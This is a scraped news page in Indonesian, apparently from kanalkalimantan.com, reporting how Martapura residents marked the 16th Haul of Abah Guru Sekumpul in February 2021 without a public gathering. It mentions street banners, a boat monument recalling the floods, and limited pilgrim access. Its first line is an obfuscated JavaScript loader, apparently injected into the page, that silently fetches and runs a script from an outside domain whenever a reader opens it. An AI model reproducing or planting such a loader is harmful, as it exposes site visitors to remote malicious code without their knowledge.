(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Haul ke-16 A’alimul Allamah Al’arif Billah Syekh Muhammad Zaini bin Abdul Ghani tidak diadakan untuk umum seperti tahun-tahun sebelumnya. Rabu 17 Februari 2021 tepat tanggal 5 Rajab 1442 hijriyah, tepat peringatan Haul ke-16 KH Muhammad Zaini Ghani.
Meski Haul ke-16 Abah Guru Sekumpul tidak diselenggarakan di Musholla Ar Raudhah Sekumpul, warga kota Martapura tetap melaksanakan di musholla tempat tinggal kampung dan lingkungan masing masing.
Warga tetap antusias menyambut Haul Abah Guru Sekumpul dengan memasang umbul umbul serta lampu hias di tepi jalan.
Umbul-umbul terlihat terpasang di sepanjang jalan Cempaka, Kampung Jawa, Martapura. Pemandangan sama juga terlihat di jalan Berlian, Kelurahan Pesayangan, Martapura, begitu juga di jalan Batuah, Kelurahan Keraton, Martapura.
Pemandangan unik terlihat di tengah persimpangan jalan Cempaka, ada miniatur perahu yang didesain warga.
Didi, salah satu warga pengelola Mushola Baitulhaq jalan Cempaka mengatakan, alasan dibikin perahu sebuah monumen kenang-kenangan kalau di tahun 2021 terjadi musibah banjir besar.
“Kami semua tetap antusias menyambut Haul Guru kita semua, walaupun tidak diselenggarakan untuk umum seperti sebelumnya, agar tidak hilang ciri khas dalam menyambut Haul Abah Guru Sekumpul, kita semua memasang umbul-umbul di tempat kita,” aku Didi.
Nah, mengenai perahu yang ada di tengah persimpangan jalan itu, agar menjadi memori kalau di tahun 2021 terjadi musibah banjir besar.
Sementara itu, Kanalkalimantan.com memantau kawasan kubah Abah Guru Sekumpul, memang ada sejumlah orang yang datang ke sekitar area kubah.
Pun, aktivitas pedagang sepanjang jalan menuju Kubah Guru Sekumpul terlihat normal seperti biasa. Meski tidak terlihat banyak peziarah yang biasa hilir mudik di kawasan Sekumpul.
Peziarah yang datang hanya diperbolehkan berada di luar kubah yang telah disediakan oleh pihak pengelola.
Peziarah yang datang juga diwajibkan menerapkan protokol kesehatan jika hendak memasuki tempat berziarah di luar makam. Area bagi peziarah tersebut juga terbatas, peziarah harus bergantian memasuki area tersebut.
H Zuhdi, peziarah asal Samarinda mengaku datang bersama keluarganya mengaku datang setiap tahun saat haul ke Sekumpul.
“Ini sudah menjadi agenda kami setiap tahun, tahun kemarin Haul Abah Guru kami datang ke sini bersama rombongan 3 buah bus. Tahun ini tidak diadakan, maka kami hanya ziarah dengan kelurga saja, tidak ada rombongan seperti tahun kemarin,” akunya. (kanalkalimantan.com/wahyu)
Reporter: wahyu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More
KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More
KANALKALIMANTAN.COM, MARTAPURA - Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More
This website uses cookies.